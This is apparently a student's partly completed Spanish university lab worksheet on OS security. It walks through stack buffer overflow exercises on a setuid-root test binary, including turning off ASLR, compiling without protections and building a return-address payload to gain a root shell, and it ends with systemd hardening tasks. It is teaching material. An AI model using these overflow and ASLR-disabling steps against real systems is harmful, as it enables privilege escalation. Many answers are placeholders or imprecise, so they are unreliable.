Práctica 5 - Parte 1
Seguridad

A - Introducción

1. Defina política y mecanismo.

Las políticas (qué) definen lo que se quiere hacer, en base a los objetivos. Las podemos asociar a los papeles. Rara vez incluyen configuraciones
Los mecanismos (cómo) definen cómo se hace. En este punto aparecen las configuraciones e implementaciones reales.
Hay diferentes mecanismos para cumplir una política.

2. Defina objeto, dominio y right.

Objetos: de HW (CPU, Memoria, etc.) o de SW (archivos, programas, semáforos)
Un dominio es un conjunto de pares (objeto, derecho). Cada par especifica un objeto y un subconjunto de operaciones que se pueden realizar con él
Un derecho (right) significa autorización para efectuar esas operaciones.

3. Defina POLA (Principle of least authority).

Define que los procesos accedan sólo a los objetos que necesitan (con los derechos que necesiten) para completar su tarea.(que no tengan más permisos de lo que necesitan realmente)

4. ¿Qué valores definen el dominio en UNIX?

UID y el GID
Dado (UID, GID) hay un conjunto de objetos a los que se puede acceder con determinados permisos Dos procesos con igual (UID, GID) pueden acceder al mismo conjunto de archivos

5. ¿Qué es ASLR (Address Space Layout Randomization)? ¿Linux provee ASLR para los procesos de usuario? ¿Y para el kernel?

Es una técnica de seguridad utilizada por los sistemas operativos para dificultar la explotación de vulnerabilidades de memoria (como buffer overflows). Consiste en aleatorizar las direcciones de memoria donde se cargan diferentes partes de un programa o del sistema, como stack, heap, data, text y bibliotecas. Si conseguimos un puntero útil en una ejecución en la siguiente ya no nos sirve.
Linux da ASLR para ambas cosas.

6. ¿Cómo se activa/desactiva ASLR para todos los procesos de usuario en Linux?

/proc/sys/kernel/randomize_va_space
Este archivo define el nivel de aleatorización aplicado al espacio de direcciones de los procesos de usuario.
Para activar ASLR completamente (valor 2):
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Para desactivar ASLR (valor 0):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0. Deshabilitado ○

1. Randomizar stack, virtual dynamic shared object page, memoria compartida. Data se ubica al final de text. ○
2. Randomizar stack, VDSO page, memoria compartida y data.

B - Ejercicio introductorio: Buffer Overflow simple

El propósito de este ejercicio es que las y los estudiantes tengan una introducción simple a un stack buffer overflow a fin de poder abordar el siguiente ejercicio. Las y los estudiantes aprenderán a identificar la vulnerabilidad, analizar la disposición de la memoria y construir una entrada que aproveche la vulnerabilidad para obtener acceso no autorizado a una función privilegiada.
Nota: Puede ser de ayuda ver el código assembler generado al compilar (00-stack-overflow.s) o utilizar gdb para depurar el programa pero no es obligatorio.
1. Compilar usando el makefile provisto el ejemplo 00-stack-overflow.c provisto en el repositorio de la cátedra.

```
so@so:~/codigo-para-practicas/practica5$ make 00-stack-overflow
cc -save-temps -g -fno-stack-protector -z execstack -no-pie -fcf-protection=none -O0    00-stack-overflow.c   -o 00-stack-overflow
00-stack-overflow.c: In function 'login':
00-stack-overflow.c:19:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration]
   19 |     gets(password);           // Vulnerable function reads without bounds
      |     ^~~~
      |     fgets
/usr/bin/ld: 00-stack-overflow.o: en la función `login':
/home/so/codigo-para-practicas/practica5/00-stack-overflow.c:19: aviso: the `gets' function is dangerous and should not be used.
so@so:~/codigo-para-practicas/practica5$
```

2. Ejecutar el programa y observar las direcciones de las variables access y password, así como la distancia entre ellas.

```
so@so:~/codigo-para-practicas/practica5$ ./00-stack-overflow
access pointer: 0x7fffe7f04cff, password pointer: 0x7fffe7f04ce0, distance: 31
```

3. Probar el programa con una password cualquiera y con “big secret” para verificar que funciona correctamente.

```
so@so:~/codigo-para-practicas/practica5$ ./00-stack-overflow
access pointer: 0x7fffe7f04cff, password pointer: 0x7fffe7f04ce0, distance: 31
Write password: a
Access denied
so@so:~/codigo-para-practicas/practica5$ ./00-stack-overflow
access pointer: 0x7ffe60f75c5f, password pointer: 0x7ffe60f75c40, distance: 31
Write password: big secret
Now you know the secret
```

anda piola

4. Volver a ejecutar pero ingresar una password lo suficientemente larga para sobreescribir access. Usar distance como referencia para establecer la longitud de la password.

```
so@so:~/codigo-para-practicas/practica5$ ./00-stack-overflow
access pointer: 0x7ffca92c198f, password pointer: 0x7ffca92c1970, distance: 31
Write password: pitooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Violación de segmento
```

5. Después de realizar la explotación, reflexiona sobre las siguientes preguntas:
a. ¿Por qué el uso de gets() es peligroso?

pq permite al usuario meter la cantidad de caracteres que quiera sin verificar tener espacios suficiente en el buffer, lo que puede sobreescribir cositas

b. ¿Cómo se puede prevenir este tipo de vulnerabilidad?
con fgets() :D

c. ¿Qué medidas de seguridad ofrecen los compiladores modernos para evitar estas vulnerabilidades?
La implementación de ASLR, para reubicar las posiciones de memoria de stack,heap etc por cada vez que se ejecute algo, de forma tal que si se accede a memoria heap una vez, la próxima vez la dirección de la heap no se encontrará alli

C - Ejercicio: Buffer Overflow reemplazando dirección de retorno

Objetivo: El objetivo de este ejercicio es que las y los estudiantes comprendan cómo una vulnerabilidad de desbordamiento de búfer puede ser explotada para alterar la dirección de retorno de una función, redirigiendo la ejecución del programa a una función privilegiada. Además, se explorará el mecanismo de seguridad ASLR y cómo desactivarlo temporalmente para facilitar la explotación.
Nota: Puede ser de ayuda ver el código assembler generado al compilar (01-stack-overflow-ret.s) o utilizar gdb para depurar el programa pero no es obligatorio.
1. Compilar usando el makefile provisto el ejemplo 01-stack-overflow-ret.c provisto en el repositorio de la cátedra.

```
so@so:~/codigo-para-practicas/practica5$ make 01-stack-overflow-ret
cc -save-temps -g -fno-stack-protector -z execstack -no-pie -fcf-protection=none -O0    01-stack-overflow-ret.c   -o 01-stack-overflow-ret
/usr/bin/ld: 01-stack-overflow-ret.o: en la función `login':
/home/so/codigo-para-practicas/practica5/01-stack-overflow-ret.c:33: aviso: the `gets' function is dangerous and should not be used.
```

2. Configurar setuid en el programa para que al ejecutarlo, se ejecute como usuario root.

```
root@so:/home/so/codigo-para-practicas/practica5# chown root:root 01-stack-overflow-ret
root@so:/home/so/codigo-para-practicas/practica5# chmod u+s 01-stack-overflow-ret
```

gcc -o 01-stack-overflow-ret 01-stack-overflow-ret.c -fPIE -pie

3. Verificar si tiene ASLR activado en el sistema. Si no está, actív elo.

```
root@so:/home/so/codigo-para-practicas/practica5# cat /proc/sys/kernel/randomize_va_space
2
```

estamos bien

4. Ejecute 01-stack-overflow-ret al menos 2 veces para verificar que la dirección de memoria de privileged_fn() cambia.

```
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x4011b6
Write password: big secret
uid = 0, euid = 0
You are now root
# exit
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x4011b6
Write password: a
Access denied
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x4011b6
Write password: a
Access denied
```

?????????????

```
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x5562e37cc1c9
Write password: hola
Access denied
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x5569425be1c9
Write password: ^C
```

5. Apague ASLR y repita el punto 3 para verificar que esta vez el proceso siempre retorna la misma dirección de memoria para privileged_fn().

```
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x5555555551c9
Write password: big secret
uid = 0, euid = 0
You are now root
# exit
root@so:/home/so/codigo-para-practicas/practica5# ./01-stack-overflow-ret
privileged_fn: 0x5555555551c9
```

6. Suponiendo que el compilador no agregó ningún padding en el stack tenemos los siguientes datos:
a. El stack crece hacia abajo.
b. Si estamos compilando en x86_64 los punteros ocupan 8 bytes.
c. x86_64 es little endian.
d. Primero se apiló la dirección de retorno (una dirección dentro de la función main()). Ocupa 8 bytes.
e. Luego se apiló la vieja base de la pila (rbp). Ocupa 8 bytes.
f. password ocupa 16 bytes. Calcule cuántos bytes de relleno necesita para pisar la dirección de retorno.

16 (password) + 8 (rbp viejo) = 24 bytes de relleno
claramente calculado por nosotros

7. Ejecute el script payload_pointer.py para generar el payload. La ayuda se puede ver con: python payload_pointer.py --help

Supongamos que privileged_fn() tiene dirección 0x4011b6 (verificada al correr el programa con ASLR desactivado), y que se necesitan 24 bytes de padding para llegar a la dirección de retorno

Esto generará una secuencia de 24 caracteres de relleno + la dirección codificada en little endian para sobreescribir la dirección de retorno.

```
so@so:~/codigo-para-practicas/practica5$ python3 payload_pointer.py --padding 24 --pointer 0x5555555551c9 --point
er-size 8 --endianness little
0123456789abcdefghijklmn
```

8. Pruebe el payload redirigiendo la salida del script a 01-stack-overflow-ret usando un pipe.

Si todo está bien configurado, el programa sobreescribirá la dirección de retorno y saltará a privileged_fn(), dándote acceso como root.

9. Para poder interactuar con el shell invoque el programa usando el argumento --program del script payload_pointer. Por ejemplo: python payload_pointer.py --padding --pointer --program ./01-stack-overflow-ret

efin

10.Pruebe algunos comandos para verificar que realmente tiene acceso a un shell con UID 0.

11. Conteste:

a. ¿Qué efecto tiene setear el bit setuid en un programa si el propietario del archivo es root? ¿Qué efecto tiene si el usuario es por ejemplo nobody?

Si el propietario es root y se activa el bit setuid (chmod u+s), cualquier usuario que ejecute el programa lo hará con privilegios de root (UID efectivo 0).

Si el propietario es nobody, el programa se ejecutará con los permisos de nobody, lo que no tiene ningún privilegio útil.

b. Compare el resultado del siguiente comando con la dirección de memoria de privileged_fn(). ¿Qué puede notar respecto a los octetos? ¿A qué se debe esto? python payload_pointer.py --padding --pointer | hd

c. ¿Cómo ASLR ayuda a evitar este tipo de ataques en un escenario real donde el programa no imprime en pantalla el puntero de la función objetivo?

Un ataque de buffer overflow como el que hiciste depende de conocer exactamente la dirección a la que hay que saltar.

Como no sabés cuál es la dirección real, tu payload apunta a un lugar incorrecto y el programa se rompe o no hace nada.

d. ¿Cómo podría evitar este tipo de ataques en un módulo del kernel de Linux? ¿Qué mecanismo debería estar habilitado?

KASRL?

D - Ejercicio SystemD

Objetivo: Aprender algunas restricciones de seguridad que se pueden aplicar a un servicio en SystemD.

- https://www.redhat.com/en/blog/cgroups-part-four
- https://www.redhat.com/en/blog/mastering-systemd

1. Investigue los comandos:

a. systemctl enable

efin

b. systemctl disable

efin

c. systemctl daemon-reload

efin

d. systemctl start

efin

e. systemctl stop

efin

f. systemctl status

efin

g. systemd-cgls h. journalctl -u [unit]

efin

2. Investigue las siguientes opciones que se pueden configurar en una unit service de systemd:

a. IPAddressDeny e IPAddressAllow

efin

b. User y Group

efin

c. ProtectHome

efin

d. PrivateTmp

efin

e. ProtectProc

efin

f. MemoryAccounting, MemoryHigh y MemoryMax

efin

3. Tenga en cuenta para los siguientes puntos:

a. La configuración del servicio se instala en: /etc/systemd/system/insecure_service.service

b. Cada vez que modifique la configuración será necesario recargar el demonio de systemd y recargar el servicio:
i. systemctl daemon-reload
efin

ii. systemctl restart insecure_service.service
efin

4. En el directorio insecure_service del repositorio de la cátedra encontrará, el binario insecure_service, el archivo de configuración insecure_service.service y el script install.sh.
a. Instale el servicio usando el script install.sh.
efin

b. Verifique que el servicio se está ejecutando con systemctl status.
efin

c. Verifique con qué UID se ejecuta el servicio usando psaux | grep insecure_service.
efin

d. Abra localhost:8080 en el navegador y explore los links provistos por este servicio.
efin

5. Configure el servicio para que se ejecute con usuario y grupo no privilegiados (en Debian y derivados se llaman nouser y nogroup). Verifique con qué UID se ejecuta el servicio usando psaux | grep insecure_service.
efin

6. Limite las IPs que pueden acceder al servicio para denegar todo por defecto y permitir solo conexiones de localhost (127.0.0.0/8).
efin

7. Explore el directorio /home y el directorio /tmp usando el servicio y luego: a. Reconfigurelo para que no pueda visualizar el contenido de /home y tenga su propio /tmp privado. b. Recargue el servicio y verifique que estas restricciones surgieron efecto.
efin

8. Limite el acceso a información de otros procesos por parte del servicio.
efin

9. Establezca un límite de 16M al uso de memoria del servicio e intente alocar más de esa memoria en la sección “Memoria” usando el link “Aumentar Reserva de Memoria”
efin